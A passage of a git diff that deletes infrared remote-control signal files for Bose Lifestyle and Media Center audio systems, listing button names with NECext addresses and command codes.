00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA BC 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA BC 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA BC 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA BC 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA BC 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA BC 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA BC 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir deleted file mode 100644 index 53b718356..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA BD 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA BD 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA BD 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA BD 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA BD 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA BD 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA BD 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir deleted file mode 100644 index 7fb92df29..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir +++ /dev/null @@ -1,422 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 03 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 05 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 15 00 00 00 -# -name: TCPC_DOWN -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 18 00 00 00 -# -name: TCPC_UP -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 19 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 49 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 4C 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 4C 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 4D 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 56 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 57 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 58 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 58 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 59 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 64 00 00 00 -# -name: ENCORE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 65 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 80 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 8C 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA BE 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA BE 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA BE 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA BE 00 00 -command: C0 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: BA BE 00 00 -command: CC 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA BE 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA BE 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA BE 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir deleted file mode 100644 index 92667f986..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 45 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN_<< -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 5C 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 60 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCORE) -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 69 00 00 00 -# -name: SYSTEM -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 70 00 00 00 -# -name: SETTINGS -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 80 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 8C 00 00 00 -# -name: DVD_MENU -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 90 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA BF 00 00 -command: 9F 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: A0 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA BF 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA BF 00 00 -command: B3 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: BA BF 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: CC 00 00 00 -# -name: MUTE_ALL_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: CD 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: D0 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: BA BF 00 00 -command: E0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA BF 00 00 -command: F4 00 00 00 -# -name: MUTE_ASSERT -type: parsed -protocol: NECext -address: BA BF 00 00 -command: FE 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir deleted file mode 100644 index 79830decc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir +++ /dev/null @@ -1,146 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 03 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0B 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 0F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 18 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 1A 00 00 00 -# -name: SPEAKER_STEREO -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4B 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4D 00 00 00 -# -name: SPEAKER_SURROUND -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4E 00 00 00 -# -name: SPEAKER_STEREO/CNTR -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 4F 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 52 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 56 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5C 00 00 00 -# -name: NEXT_DISC -type: parsed -protocol: NECext -address: BA 55 00 00 -command: 5D 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 55 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir deleted file mode 100644 index 6e51abd28..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV_INPUT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir deleted file mode 100644 index 5a57b6bf8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2-3-5 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 00 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 03 00 00 00 -# -name: FM/AM -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 06 00 00 00 -# -name: SURROUND_- -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0A 00 00 00 -# -name: SURROUND_+ -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0B 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0D 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0E 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 0F 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 18 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 18 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 19 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 20 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 30 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 49 00 00 00 -# -name: ON/OFF -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 4D 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 52 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA 88 00 00 -command: 55 00 00 00 -# -name: PAUSE -type: 